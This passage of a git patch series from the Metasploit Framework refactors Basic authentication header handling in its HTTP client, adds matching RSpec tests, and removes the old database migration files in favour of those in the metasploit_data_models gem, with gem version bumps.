opts['cgi'] = true opts['port'] = self.port - opts['basic_auth'] = opts['basic_auth'] || config['basic_auth'] || '' - opts['raw_headers'] = opts['raw_headers'] || config['raw_headers'] || '' - opts['version'] = opts['version'] || config['version'] || '1.1' - - opts['client_config'] = self.config if opts['encode_params'] == true or opts['encode_params'].nil? opts['encode_params'] = true @@ -196,10 +189,6 @@ class Client opts['encode_params'] = false end - if opts['basic_auth'] and not opts['authorization'] - opts['authorization'] = Rex::Text.encode_base64(opts['basic_auth']) - end - req = ClientRequest.new(opts) end @@ -321,11 +310,8 @@ class Client return res if opts['username'].nil? or opts['username'] == '' supported_auths = res.headers['WWW-Authenticate'] if supported_auths.include? 'Basic' - if opts['headers'] - opts['headers']['Authorization'] = basic_auth_header(opts['username'],opts['password'] ) - else - opts['headers'] = { 'Authorization' => basic_auth_header(opts['username'],opts['password'] )} - end + opts['headers'] ||= {} + opts['headers']['Authorization'] = basic_auth_header(opts['username'],opts['password'] ) req = request_cgi(opts) res = _send_recv(req,t,persist) return res diff --git a/lib/rex/proto/http/client_request.rb b/lib/rex/proto/http/client_request.rb index 62e1ede0e8..039d11559d 100644 --- a/lib/rex/proto/http/client_request.rb +++ b/lib/rex/proto/http/client_request.rb @@ -86,6 +86,12 @@ class ClientRequest def initialize(opts={}) @opts = DefaultConfig.merge(opts) + + # Backwards compatibility for wonky basic authentication api from + # the dawn of time. + if opts['basic_auth'] and not opts['authorization'] + @opts['authorization'] = "Basic #{Rex::Text.encode_base64(opts['basic_auth'])}" + end end def to_s @@ -162,12 +168,18 @@ class ClientRequest req << set_version req << set_host_header - # If an explicit User-Agent header is set, then use that instead of the value of user_agent + # If an explicit User-Agent header is set, then use that instead of + # the default unless opts['headers'].keys.map{|x| x.downcase }.include?('user-agent') req << set_agent_header end - req << set_auth_header + # Similar to user-agent, only add an automatic auth header if a + # manual one hasn't been provided + unless opts['headers'].keys.map{|x| x.downcase }.include?('authorization') + req << set_auth_header + end + req << set_cookie_header req << set_connection_header req << set_extra_headers @@ -388,7 +400,7 @@ class ClientRequest # def set_host_header return "" if opts['uri_full_url'] - host ||= opts['vhost'] + host = opts['vhost'] # IPv6 addresses must be placed in brackets if Rex::Socket.is_ipv6?(host) diff --git a/spec/lib/rex/proto/http/client_request_spec.rb b/spec/lib/rex/proto/http/client_request_spec.rb index 426721cb6c..3bf44fcaa4 100644 --- a/spec/lib/rex/proto/http/client_request_spec.rb +++ b/spec/lib/rex/proto/http/client_request_spec.rb @@ -22,7 +22,8 @@ shared_context "with 'uri_dir_self_reference'" do end it "should have a self reference" do - client_request.send(:set_uri).should == "/./" + client_request.send(:set_uri).should include("/./") + client_request.to_s.should include("/./") end end @@ -34,6 +35,7 @@ shared_context "with 'uri_dir_fake_relative'" do it "should contain sequences of '../'" do client_request.send(:set_uri).should include("../") + client_request.to_s.should include("../") end end diff --git a/spec/lib/rex/proto/http/client_spec.rb b/spec/lib/rex/proto/http/client_spec.rb index 11177b90fe..bb2f642e38 100644 --- a/spec/lib/rex/proto/http/client_spec.rb +++ b/spec/lib/rex/proto/http/client_spec.rb @@ -55,6 +55,55 @@ describe Rex::Proto::Http::Client do it "should produce a CGI HTTP request" do req = cli.request_cgi req.should be_a_kind_of Rex::Proto::Http::ClientRequest + end + + context "with authorization" do + subject(:cli) do + cli = Rex::Proto::Http::Client.new(ip) + cli.set_config({"authorization" => "Basic base64dstuffhere"}) + cli + end + let(:user) { "user" } + let(:pass) { "pass" } + let(:base64) { ["user:pass"].pack('m').chomp } + + context "and an Authorization header" do + before do + cli.set_config({"headers" => { "Authorization" => "Basic #{base64}" } }) + end + it "should have one Authorization header" do + req = cli.request_cgi + match = req.to_s.match("Authorization: Basic") + match.should be + match.length.should == 1 + end + it "should prefer the value in the header" do + req = cli.request_cgi + match = req.to_s.match(/Authorization: Basic (.*)$/) + match.should be + match.captures.length.should == 1 + match.captures[0].chomp.should == base64 + end + end + + context "and basic_auth" do + before do + cli.set_config({"basic_auth" => "user:pass"}) + end + it "should not have two Authorization headers" do + req = cli.request_cgi + match = req.to_s.match("Authorization: Basic") + match.should be + match.length.should == 1 + end + it "should prefer basic_auth" do + req = cli.request_cgi + match = req.to_s.match(/Authorization: Basic (.*)$/) + match.should be + match.captures.length.should == 1 + match.captures[0].chomp.should == base64 + end + end end From 239e1934b8bc8d84b6daa1cbcef29b98aba41575 Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Fri, 1 Mar 2013 09:03:45 -0600 Subject: [PATCH 253/341] Use migrations from metasploit_data_models [#44034071] metasploit_data_models version 0.5.0 copied the migrations from metasploit-framework/data/sql/migrate to metasploit_data_models/db/migrate so that specs could be written the Mdm models in metasploit_data_models. As part of the specs, :null => false columns that should be :null => true were discovered, so a new migration was added, but to metasploit_data_models/db/migrate, so it could be tested. Instead of replicating migrations back and forth, I'm removing the migrations completely from metasploit-framework and changing the default migration path in Msf::DbManager#migration_paths to MetasploitDataModels.root.join('db', 'migrate'). --- Gemfile | 2 +- Gemfile.lock | 14 +- data/sql/migrate/000_create_tables.rb | 79 --------- data/sql/migrate/001_add_wmap_tables.rb | 35 ---- data/sql/migrate/002_add_workspaces.rb | 36 ---- data/sql/migrate/003_move_notes.rb | 20 --- data/sql/migrate/004_add_events_table.rb | 16 -- data/sql/migrate/005_expand_info.rb | 58 ------- data/sql/migrate/006_add_timestamps.rb | 26 --- data/sql/migrate/007_add_loots.rb | 20 --- data/sql/migrate/008_create_users.rb | 16 -- data/sql/migrate/009_add_loots_ctype.rb | 10 -- data/sql/migrate/010_add_alert_fields.rb | 16 -- data/sql/migrate/011_add_reports.rb | 19 --- data/sql/migrate/012_add_tasks.rb | 24 --- data/sql/migrate/013_add_tasks_result.rb | 10 -- data/sql/migrate/014_add_loots_fields.rb | 12 -- data/sql/migrate/015_rename_user.rb | 16 -- data/sql/migrate/016_add_host_purpose.rb | 10 -- data/sql/migrate/017_expand_info2.rb | 58 ------- .../migrate/018_add_workspace_user_info.rb | 29 ---- data/sql/migrate/019_add_workspace_desc.rb | 23 --- data/sql/migrate/020_add_user_preferences.rb | 11 -- .../migrate/021_standardize_info_and_data.rb | 18 -- data/sql/migrate/022_enlarge_event_info.rb | 10 -- .../migrate/023_add_report_downloaded_at.rb | 10 -- .../024_convert_service_info_to_text.rb | 12 -- data/sql/migrate/025_add_user_admin.rb | 19 --- data/sql/migrate/026_add_creds_table.rb | 19 --- .../20100819123300_migrate_cred_data.rb | 154 ------------------ .../20100824151500_add_exploited_table.rb | 16 -- .../20100908001428_add_owner_to_workspaces.rb | 9 - .../20100911122000_add_report_templates.rb | 18 -- .../20100916151530_require_admin_flag.rb | 15 -- ...00916175000_add_campaigns_and_templates.rb | 61 ------- .../20100920012100_add_generate_exe_column.rb | 8 - .../20100926214000_add_template_prefs.rb | 11 -- .../migrate/20101001000000_add_web_tables.rb | 57 ------- data/sql/migrate/20101002000000_add_query.rb | 10 -- .../migrate/20101007000000_add_vuln_info.rb | 15 -- ...20101008111800_add_clients_to_campaigns.rb | 10 -- ...20101009023300_add_campaign_attachments.rb | 15 -- .../20101104135100_add_imported_creds.rb | 17 -- .../migrate/20101203000000_fix_web_tables.rb | 34 ---- .../20101203000001_expand_host_comment.rb | 12 -- ...2033_add_limit_to_network_to_workspaces.rb | 9 - ...20110112154300_add_module_uuid_to_tasks.rb | 9 - .../migrate/20110204112800_add_host_tags.rb | 28 ---- .../20110317144932_add_session_table.rb | 110 ------------- ...414180600_add_local_id_to_session_table.rb | 11 -- .../20110415175705_add_routes_table.rb | 18 -- .../migrate/20110422000000_convert_binary.rb | 72 -------- ...0110425095900_add_last_seen_to_sessions.rb | 8 - ...0110513143900_track_successful_exploits.rb | 31 ---- ...517160800_rename_and_prune_nessus_vulns.rb | 26 --- ...0527000000_add_task_id_to_reports_table.rb | 11 -- .../20110527000001_add_api_keys_table.rb | 12 -- .../20110606000001_add_macros_table.rb | 16 -- ...00_move_old_imported_creds_to_new_files.rb | 127 --------------- ...10622000000_add_settings_to_tasks_table.rb | 12 -- .../20110624000001_add_listeners_table.rb | 19 --- ...0625000001_add_macro_to_listeners_table.rb | 12 -- ...110630000001_add_nexpose_consoles_table.rb | 21 --- ...0002_add_name_to_nexpose_consoles_table.rb | 12 -- .../20110717000001_add_profiles_table.rb | 15 -- ...20110727163801_expand_cred_ptype_column.rb | 9 - .../20110730000001_add_initial_indexes.rb | 85 ---------- .../migrate/20110812000001_prune_indexes.rb | 23 --- .../migrate/20110922000000_expand_notes.rb | 9 - .../20110928101300_add_mod_ref_table.rb | 17 -- ...10000_add_display_name_to_reports_table.rb | 24 --- .../migrate/20111203000000_inet_columns.rb | 13 -- .../20111204000000_more_inet_columns.rb | 17 -- .../20111210000000_add_scope_to_hosts.rb | 9 - ...0120126110000_add_virtual_host_to_hosts.rb | 9 - ...20120411173220_rename_workspace_members.rb | 9 - ...20601152442_add_counter_caches_to_hosts.rb | 21 --- .../20120625000000_add_vuln_details.rb | 34 ---- .../20120625000001_add_host_details.rb | 16 -- .../migrate/20120625000002_expand_details.rb | 16 -- .../migrate/20120625000003_expand_details2.rb | 24 --- .../20120625000004_add_vuln_attempts.rb | 19 --- ...000005_add_vuln_and_host_counter_caches.rb | 14 -- .../20120625000006_add_module_details.rb | 118 -------------- .../20120625000007_add_exploit_attempts.rb | 26 --- .../20120625000008_add_fail_message.rb | 12 -- ...2805_add_owner_and_payload_to_web_vulns.rb | 13 -- lib/msf/core/db_manager.rb | 6 +- 88 files changed, 13 insertions(+), 2219 deletions(-) delete mode 100755 data/sql/migrate/000_create_tables.rb delete mode 100755 data/sql/migrate/001_add_wmap_tables.rb delete mode 100755 data/sql/migrate/002_add_workspaces.rb delete mode 100755 data/sql/migrate/003_move_notes.rb delete mode 100755 data/sql/migrate/004_add_events_table.rb delete mode 100755 data/sql/migrate/005_expand_info.rb delete mode 100755 data/sql/migrate/006_add_timestamps.rb delete mode 100755 data/sql/migrate/007_add_loots.rb delete mode 100755 data/sql/migrate/008_create_users.rb delete mode 100755 data/sql/migrate/009_add_loots_ctype.rb delete mode 100755 data/sql/migrate/010_add_alert_fields.rb delete mode 100755 data/sql/migrate/011_add_reports.rb delete mode 100755 data/sql/migrate/012_add_tasks.rb delete mode 100755 data/sql/migrate/013_add_tasks_result.rb delete mode 100755 data/sql/migrate/014_add_loots_fields.rb delete mode 100755 data/sql/migrate/015_rename_user.rb delete mode 100755 data/sql/migrate/016_add_host_purpose.rb delete mode 100755 data/sql/migrate/017_expand_info2.rb delete mode 100755 data/sql/migrate/018_add_workspace_user_info.rb delete mode 100755 data/sql/migrate/019_add_workspace_desc.rb delete mode 100755 data/sql/migrate/020_add_user_preferences.rb delete mode 100755 data/sql/migrate/021_standardize_info_and_data.rb delete mode 100755 data/sql/migrate/022_enlarge_event_info.rb delete mode 100755 data/sql/migrate/023_add_report_downloaded_at.rb delete mode 100755 data/sql/migrate/024_convert_service_info_to_text.rb delete mode 100755 data/sql/migrate/025_add_user_admin.rb delete mode 100755 data/sql/migrate/026_add_creds_table.rb delete mode 100755 data/sql/migrate/20100819123300_migrate_cred_data.rb delete mode 100755 data/sql/migrate/20100824151500_add_exploited_table.rb delete mode 100755 data/sql/migrate/20100908001428_add_owner_to_workspaces.rb delete mode 100755 data/sql/migrate/20100911122000_add_report_templates.rb delete mode 100755 data/sql/migrate/20100916151530_require_admin_flag.rb delete mode 100755 data/sql/migrate/20100916175000_add_campaigns_and_templates.rb delete mode 100755 data/sql/migrate/20100920012100_add_generate_exe_column.rb delete mode 100755 data/sql/migrate/20100926214000_add_template_prefs.rb delete mode 100755 data/sql/migrate/20101001000000_add_web_tables.rb delete mode 100755 data/sql/migrate/20101002000000_add_query.rb delete mode 100755 data/sql/migrate/20101007000000_add_vuln_info.rb delete mode 100755 data/sql/migrate/20101008111800_add_clients_to_campaigns.rb delete mode 100755 data/sql/migrate/20101009023300_add_campaign_attachments.rb delete mode 100755 data/sql/migrate/20101104135100_add_imported_creds.rb delete mode 100755 data/sql/migrate/20101203000000_fix_web_tables.rb delete mode 100755 data/sql/migrate/20101203000001_expand_host_comment.rb delete mode 100755 data/sql/migrate/20101206212033_add_limit_to_network_to_workspaces.rb delete mode 100755 data/sql/migrate/20110112154300_add_module_uuid_to_tasks.rb delete mode 100755 data/sql/migrate/20110204112800_add_host_tags.rb delete mode 100755 data/sql/migrate/20110317144932_add_session_table.rb delete mode 100755 data/sql/migrate/20110414180600_add_local_id_to_session_table.rb delete mode 100755 data/sql/migrate/20110415175705_add_routes_table.rb delete mode 100755 data/sql/migrate/20110422000000_convert_binary.rb delete mode 100755 data/sql/migrate/20110425095900_add_last_seen_to_sessions.rb delete mode 100755 data/sql/migrate/20110513143900_track_successful_exploits.rb delete mode 100755 data/sql/migrate/20110517160800_rename_and_prune_nessus_vulns.rb delete mode 100755 data/sql/migrate/20110527000000_add_task_id_to_reports_table.rb delete mode 100755 data/sql/migrate/20110527000001_add_api_keys_table.rb delete mode 100755 data/sql/migrate/20110606000001_add_macros_table.rb delete mode 100755 data/sql/migrate/20110610085000_move_old_imported_creds_to_new_files.rb delete mode 100755 data/sql/migrate/20110622000000_add_settings_to_tasks_table.rb delete mode 100755 data/sql/migrate/20110624000001_add_listeners_table.rb delete mode 100755 data/sql/migrate/20110625000001_add_macro_to_listeners_table.rb delete mode 100755 data/sql/migrate/20110630000001_add_nexpose_consoles_table.rb delete mode 100755 data/sql/migrate/20110630000002_add_name_to_nexpose_consoles_table.rb delete mode 100755 data/sql/migrate/20110717000001_add_profiles_table.rb delete mode 100755 data/sql/migrate/20110727163801_expand_cred_ptype_column.rb delete mode 100755 data/sql/migrate/20110730000001_add_initial_indexes.rb delete mode 100755 data/sql/migrate/20110812000001_prune_indexes.rb delete mode 100755 data/sql/migrate/20110922000000_expand_notes.rb delete mode 100755 data/sql/migrate/20110928101300_add_mod_ref_table.rb delete mode 100755 data/sql/migrate/20111011110000_add_display_name_to_reports_table.rb delete mode 100755 data/sql/migrate/20111203000000_inet_columns.rb delete mode 100755 data/sql/migrate/20111204000000_more_inet_columns.rb delete mode 100755 data/sql/migrate/20111210000000_add_scope_to_hosts.rb delete mode 100755 data/sql/migrate/20120126110000_add_virtual_host_to_hosts.rb delete mode 100755 data/sql/migrate/20120411173220_rename_workspace_members.rb delete mode 100755 data/sql/migrate/20120601152442_add_counter_caches_to_hosts.rb delete mode 100755 data/sql/migrate/20120625000000_add_vuln_details.rb delete mode 100755 data/sql/migrate/20120625000001_add_host_details.rb delete mode 100755 data/sql/migrate/20120625000002_expand_details.rb delete mode 100755 data/sql/migrate/20120625000003_expand_details2.rb delete mode 100755 data/sql/migrate/20120625000004_add_vuln_attempts.rb delete mode 100755 data/sql/migrate/20120625000005_add_vuln_and_host_counter_caches.rb delete mode 100755 data/sql/migrate/20120625000006_add_module_details.rb delete mode 100755 data/sql/migrate/20120625000007_add_exploit_attempts.rb delete mode 100755 data/sql/migrate/20120625000008_add_fail_message.rb delete mode 100644 data/sql/migrate/20120718202805_add_owner_and_payload_to_web_vulns.rb diff --git a/Gemfile b/Gemfile index 3d5f14fe4c..9513b0a497 100755 --- a/Gemfile +++ b/Gemfile @@ -7,7 +7,7 @@ gem 'activerecord' # Needed for some admin modules (scrutinizer_add_user.rb) gem 'json' # Database models shared between framework and Pro. -gem 'metasploit_data_models', :git => 'git://github.com/rapid7/metasploit_data_models.git', :tag => '0.4.0' +gem 'metasploit_data_models', :git => 'git://github.com/rapid7/metasploit_data_models.git', :tag => '0.5.1' # Needed by msfgui and other rpc components gem 'msgpack' # Needed by anemone crawler diff --git a/Gemfile.lock b/Gemfile.lock index c50df873bf..6ac57f60f6 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,9 +1,9 @@ GIT remote: git://github.com/rapid7/metasploit_data_models.git - revision: 448c1065329efea1eac76a3897f626f122666743 - tag: 0.4.0 + revision: a56276f8f6d1f2d532c03d2900537cadf94e1411 + tag: 0.5.1 specs: - metasploit_data_models (0.4.0) + metasploit_data_models (0.5.1) activerecord (>= 3.2.10) activesupport pg @@ -25,7 +25,7 @@ GEM multi_json (~> 1.0) arel (3.0.2) builder (3.0.4) - coderay (1.0.8) + coderay (1.0.9) diff-lcs (1.1.3) i18n (0.6.1) json (1.7.7) @@ -35,10 +35,10 @@ GEM nokogiri (1.5.6) pcaprub (0.11.3) pg (0.14.1) - pry (0.9.10) + pry (0.9.12) coderay (~> 1.0.5) method_source (~> 0.8) - slop (~> 3.3.1) + slop (~> 3.4) rake (10.0.2) redcarpet (2.2.2) robots (0.10.1) @@ -54,7 +54,7 @@ GEM multi_json (~> 1.0.3) simplecov-html (~> 0.5.3) simplecov-html (0.5.3) - slop (3.3.3) + slop (3.4.3) tzinfo (0.3.35) yard (0.8.3) diff --git a/data/sql/migrate/000_create_tables.rb b/data/sql/migrate/000_create_tables.rb deleted file mode 100755 index efda742476..0000000000 --- a/data/sql/migrate/000_create_tables.rb +++ /dev/null @@ -1,79 +0,0 @@ -class CreateTables < ActiveRecord::Migration - - def self.up - - create_table :hosts do |t| - t.timestamp :created - t.string :address, :limit => 16 # unique - t.string :address6 - t.string :mac - t.string :comm - t.string :name - t.string :state - t.string :info, :limit => 1024 - t.string :os_name - t.string :os_flavor - t.string :os_sp - t.string :os_lang - t.string :arch - end - - add_index :hosts, :address, :unique => true - - create_table :clients do |t| - t.integer :host_id - t.timestamp :created - t.string :ua_string, :limit => 1024, :null => false - t.string :ua_name, :limit => 64 - t.string :ua_ver, :limit => 32 - end - - create_table :services do |t| - t.integer :host_id - t.timestamp :created - t.integer :port, :null => false - t.string :proto, :limit => 16, :null => false - t.string :state - t.string :name - t.string :info, :limit => 1024 - end - - create_table :vulns do |t| - t.integer :host_id - t.integer :service_id - t.timestamp :created - t.string :name - t.text :data - end - - create_table :refs do |t| - t.integer :ref_id - t.timestamp :created - t.string :name, :limit => 512 - end - - create_table :vulns_refs, :id => false do |t| - t.integer :ref_id - t.integer :vuln_id - end - - create_table :notes do |t| - t.integer :host_id - t.timestamp :created - t.string :ntype, :limit => 512 - t.text :data - end - - end - - def self.down - drop_table :hosts - drop_table :clients - drop_table :services - drop_table :vulns - drop_table :refs - drop_table :vulns_refs - drop_table :notes - end - -end diff --git a/data/sql/migrate/001_add_wmap_tables.rb b/data/sql/migrate/001_add_wmap_tables.rb deleted file mode 100755 index e0d37098c2..0000000000 --- a/data/sql/migrate/001_add_wmap_tables.rb +++ /dev/null @@ -1,35 +0,0 @@ -class AddWmapTables < ActiveRecord::Migration - def self.up - create_table :wmap_targets do |t| - t.string :host # vhost - t.string :address, :limit => 16 # unique - t.string :address6 - t.integer :port - t.integer :ssl - t.integer :selected - end - - create_table :wmap_requests do |t| - t.string :host # vhost - t.string :address, :limit => 16 # unique - t.string :address6 - t.integer :port - t.integer :ssl - t.string :meth, :limit => 32 - t.text :path - t.text :headers - t.text :query - t.text :body - t.string :respcode, :limit => 16 - t.text :resphead - t.text :response - t.timestamp :created - end - end - - def self.down - drop_table :wmap_targets - drop_table :wmap_requests - end -end - diff --git a/data/sql/migrate/002_add_workspaces.rb b/data/sql/migrate/002_add_workspaces.rb deleted file mode 100755 index 9afe792ef5..0000000000 --- a/data/sql/migrate/002_add_workspaces.rb +++ /dev/null @@ -1,36 +0,0 @@ -class AddWorkspaces < ActiveRecord::Migration - - def self.up - create_table :workspaces do |t| - t.string :name - t.timestamps - end - - change_table :hosts do |t| - t.integer :workspace_id, :required => true - end - - remove_index :hosts, :column => :address - - # - # This was broken after 018_add_workspace_user_info was introduced - # because of the new boundary column. For some reason, the - # find_or_create_by_name that .default eventually calls here tries to - # create a record with the boundary field that doesn't exist yet. - # See #1724 - # - #w = Msf::DBManager::Workspace.default - #Msf::DBManager::Host.update_all ["workspace_id = ?", w.id] - end - - def self.down - drop_table :workspaces - - change_table :hosts do |t| - t.remove :workspace_id - end - - add_index :hosts, :address, :unique => true - end - -end diff --git a/data/sql/migrate/003_move_notes.rb b/data/sql/migrate/003_move_notes.rb deleted file mode 100755 index 3aedba8e20..0000000000 --- a/data/sql/migrate/003_move_notes.rb +++ /dev/null @@ -1,20 +0,0 @@ -class MoveNotes < ActiveRecord::Migration - def self.up - # Remove the host requirement. We'll add the column back in below. - remove_column :notes, :host_id - change_table :notes do |t| - t.integer :workspace_id, :null => false, :default => 1 - t.integer :service_id - t.integer :host_id - end - end - - def self.down - remove_column :notes, :workspace_id - remove_column :notes, :service_id - change_table :notes do |t| - t.integer :host_id, :null => false - end - end -end - diff --git a/data/sql/migrate/004_add_events_table.rb b/data/sql/migrate/004_add_events_table.rb deleted file mode 100755 index a89d75281e..0000000000 --- a/data/sql/migrate/004_add_events_table.rb +++ /dev/null @@ -1,16 +0,0 @@ -class AddEventsTable < ActiveRecord::Migration - def self.up - create_table :events do |t| - t.integer :workspace_id - t.integer :host_id - t.timestamp :created_at - t.string :user - t.string :name - t.string :info - end - end - def self.down - drop_table :events - end -end - diff --git a/data/sql/migrate/005_expand_info.rb b/data/sql/migrate/005_expand_info.rb deleted file mode 100755 index bd34021e11..0000000000 --- a/data/sql/migrate/005_expand_info.rb +++ /dev/null @@ -1,58 +0,0 @@ -class ExpandInfo < ActiveRecord::Migration - def self.up - remove_column :events, :info - change_table :events do |t| - t.string :info, :limit => 4096 - end - - remove_column :notes, :data - change_table :notes do |t| - t.string :data, :limit => 4096 - end - - remove_column :vulns, :data - change_table :vulns do |t| - t.string :data, :limit => 4096 - end - - remove_column :hosts, :info - change_table :hosts do |t| - t.string :info, :limit => 4096 - end - - remove_column :services, :info - change_table :services do |t| - t.string :info, :limit => 4096 - end - end - - def self.down - - remove_column :events, :info - change_table :events do |t| - t.string :info - end - - remove_column :notes, :data - change_table :notes do |t| - t.string :data, :limit => 1024 - end - - remove_column :hosts, :info - change_table :hosts do |t| - t.string :info, :limit => 1024 - end - - remove_column :vulns, :data - change_table :hosts do |t| - t.string :data, :limit => 1024 - end - - remove_column :services, :info - change_table :services do |t| - t.string :info, :limit => 1024 - end - - end -end - diff --git a/data/sql/migrate/006_add_timestamps.rb b/data/sql/migrate/006_add_timestamps.rb deleted file mode 100755 index 446a83aa29..0000000000 --- a/data/sql/migrate/006_add_timestamps.rb +++ /dev/null @@ -1,26 +0,0 @@ - -# Adds 'created_at' and 'updated_at' columns to every primary table. -# -class AddTimestamps < ActiveRecord::Migration - - @@TABLES_NEEDING_RENAME = [:clients, :hosts, :notes, :refs, :services, :vulns, :wmap_requests] - @@TABLES_NEEDING_CREATED_AT = [:wmap_targets] - @@TABLES_NEEDING_UPDATED_AT = [:clients, :events, :hosts, :notes, :refs, :services, :vulns, :wmap_requests, :wmap_targets] - - def self.up - @@TABLES_NEEDING_RENAME.each { |t| rename_column t, :created, :created_at } - - @@TABLES_NEEDING_CREATED_AT.each { |t| add_column t, :created_at, :datetime } - - @@TABLES_NEEDING_UPDATED_AT.each { |t| add_column t, :updated_at, :datetime } - end - - def self.down - @@TABLES_NEEDING_RENAME.each { |t| rename_column t, :created_at, :created } - - @@TABLES_NEEDING_CREATED_AT.each { |t| remove_column t, :created_at } - - @@TABLES_NEEDING_UPDATED_AT.each { |t| remove_column t, :updated_at } - end -end - diff --git a/data/sql/migrate/007_add_loots.rb b/data/sql/migrate/007_add_loots.rb deleted file mode 100755 index 32786f8cfb..0000000000 --- a/data/sql/migrate/007_add_loots.rb +++ /dev/null @@ -1,20 +0,0 @@ -class AddLoots < ActiveRecord::Migration - - def self.up - create_table :loots do |t| - t.integer :workspace_id, :null => false, :default => 1 - t.integer :host_id - t.integer :service_id - t.string :ltype, :limit => 512 - t.string :path, :limit => 1024 - t.text :data - t.timestamps - end - end - - def self.down - drop_table :loots - end - -end - diff --git a/data/sql/migrate/008_create_users.rb b/data/sql/migrate/008_create_users.rb deleted file mode 100755 index 4cc32cc6e4..0000000000 --- a/data/sql/migrate/008_create_users.rb +++ /dev/null @@ -1,16 +0,0 @@ -class CreateUsers < ActiveRecord::Migration - def self.up - create_table :users do |t| - t.string :username - t.string :crypted_password - t.string :password_salt - t.string :persistence_token - - t.timestamps - end - end - - def self.down - drop_table :users - end -end diff --git a/data/sql/migrate/009_add_loots_ctype.rb b/data/sql/migrate/009_add_loots_ctype.rb deleted file mode 100755 index 0aad1366fb..0000000000 --- a/data/sql/migrate/009_add_loots_ctype.rb +++ /dev/null @@ -1,10 +0,0 @@ -class AddLootsCtype < ActiveRecord::Migration - def self.up - add_column :loots, :content_type, :string - end - - def self.down - remove_column :loots, :content_type - end -end - diff --git a/data/sql/migrate/010_add_alert_fields.rb b/data/sql/migrate/010_add_alert_fields.rb deleted file mode 100755 index f99dd68d32..0000000000 --- a/data/sql/migrate/010_add_alert_fields.rb +++ /dev/null @@ -1,16 +0,0 @@ -class AddAlertFields < ActiveRecord::Migration - def self.up - add_column :notes, :critical, :boolean - add_column :notes, :seen, :boolean - add_column :events, :critical, :boolean - add_column :events, :seen, :boolean - end - - def self.down - remove_column :notes, :critical - remove_column :notes, :seen - remove_column :events, :critical - remove_column :events, :seen - end -end - diff --git a/data/sql/migrate/011_add_reports.rb b/data/sql/migrate/011_add_reports.rb deleted file mode 100755 index 2f16e8b70d..0000000000 --- a/data/sql/migrate/011_add_reports.rb +++ /dev/null @@ -1,19 +0,0 @@ -class AddReports < ActiveRecord::Migration - - def self.up - create_table :reports do |t| - t.integer :workspace_id, :null => false, :default => 1 - t.string :created_by - t.string :rtype - t.string :path, :limit => 1024 - t.text :options - t.timestamps - end - end - - def self.down - drop_table :reports - end - -end - diff --git a/data/sql/migrate/012_add_tasks.rb b/data/sql/migrate/012_add_tasks.rb deleted file mode 100755 index 39004c821e..0000000000 --- a/data/sql/migrate/012_add_tasks.rb +++ /dev/null @@ -1,24 +0,0 @@ -class AddTasks < ActiveRecord::Migration - - def self.up - create_table :tasks do |t| - t.integer :workspace_id, :null => false, :default => 1 - t.string :created_by - t.string :module - t.datetime :completed_at - t.string :path, :limit => 1024 - t.string :info - t.string :description - t.integer :progress - t.text :options - t.text :error - t.timestamps - end - end - - def self.down - drop_table :tasks - end - -end - diff --git a/data/sql/migrate/013_add_tasks_result.rb b/data/sql/migrate/013_add_tasks_result.rb deleted file mode 100755 index bf01c7afb8..0000000000 --- a/data/sql/migrate/013_add_tasks_result.rb +++ /dev/null @@ -1,10 +0,0 @@ -class AddTasksResult < ActiveRecord::Migration - def self.up - add_column :tasks, :result, :text - end - - def self.down - remove_column :tasks, :result - end -end - diff --git a/data/sql/migrate/014_add_loots_fields.rb b/data/sql/migrate/014_add_loots_fields.rb deleted file mode 100755 index 616d8c96be..0000000000 --- a/data/sql/migrate/014_add_loots_fields.rb +++ /dev/null @@ -1,12 +0,0 @@ -class AddLootsFields < ActiveRecord::Migration - def self.up - add_column :loots, :name, :text - add_column :loots, :info, :text - end - - def self.down - remove_column :loots, :name - remove_column :loots, :info - end -end - diff --git a/data/sql/migrate/015_rename_user.rb b/data/sql/migrate/015_rename_user.rb deleted file mode 100755 index 7934a0f423..0000000000 --- a/data/sql/migrate/015_rename_user.rb +++ /dev/null @@ -1,16 +0,0 @@ -class RenameUser < ActiveRecord::Migration - def self.up - remove_column :events, :user - change_table :events do |t| - t.string :username - end - end - - def self.down - remove_column :events, :username - change_table :events do |t| - t.string :user - end - end -end - diff --git a/data/sql/migrate/016_add_host_purpose.rb b/data/sql/migrate/016_add_host_purpose.rb deleted file mode 100755 index 1e2827801e..0000000000 --- a/data/sql/migrate/016_add_host_purpose.rb +++ /dev/null @@ -1,10 +0,0 @@ -class AddHostPurpose < ActiveRecord::Migration - def self.up - add_column :hosts, :purpose, :text - end - - def self.down - remove_column :hosts, :purpose - end -end - diff --git a/data/sql/migrate/017_expand_info2.rb b/data/sql/migrate/017_expand_info2.rb deleted file mode 100755 index cee6fd8d3b..0000000000 --- a/data/sql/migrate/017_expand_info2.rb +++ /dev/null @@ -1,58 +0,0 @@ -class ExpandInfo2 < ActiveRecord::Migration - def self.up - remove_column :events, :info - change_table :events do |t| - t.string :info, :limit => 65536 - end - - remove_column :notes, :data - change_table :notes do |t| - t.string :data, :limit => 65536 - end - - remove_column :vulns, :data - change_table :vulns do |t| - t.string :data, :limit => 65536 - end - - remove_column :hosts, :info - change_table :hosts do |t| - t.string :info, :limit => 65536 - end - - remove_column :services, :info - change_table :services do |t| - t.string :info, :limit => 65536 - end - end - - def self.down - - remove_column :events, :info - change_table :events do |t| - t.string :info - end - - remove_column :notes, :data - change_table :notes do |t| - t.string :data, :limit => 4096 - end - - remove_column :hosts, :info - change_table :hosts do |t| - t.string :info, :limit => 4096 - end - - remove_column :vulns, :data - change_table :vulns do |t| - t.string :data, :limit => 4096 - end - - remove_column :services, :info - change_table :services do |t| - t.string :info, :limit => 4096 - end - - end -end - diff --git a/data/sql/migrate/018_add_workspace_user_info.rb b/data/sql/migrate/018_add_workspace_user_info.rb deleted file mode 100755 index fb5e101fc3..0000000000 --- a/data/sql/migrate/018_add_workspace_user_info.rb +++ /dev/null @@ -1,29 +0,0 @@ -class AddWorkspaceUserInfo < ActiveRecord::Migration - def self.up - change_table :workspaces do |t| - t.string :boundary, :limit => 4096 - end - - change_table :users do |t| - t.string :fullname - t.string :email - t.string :phone - t.string :company - end - end - - def self.down - change_table :workspaces do |t| - t.remove :boundary - end - - change_table :users do |t| - t.remove :fullname - t.remove :email - t.remove :phone - t.remove :company - end - end - -end - diff --git a/data/sql/migrate/019_add_workspace_desc.rb b/data/sql/migrate/019_add_workspace_desc.rb deleted file mode 100755 index 0dc31f0c61..0000000000 --- a/data/sql/migrate/019_add_workspace_desc.rb +++ /dev/null @@ -1,23 +0,0 @@ -class AddWorkspaceDesc < ActiveRecord::Migration - def self.up - change_table 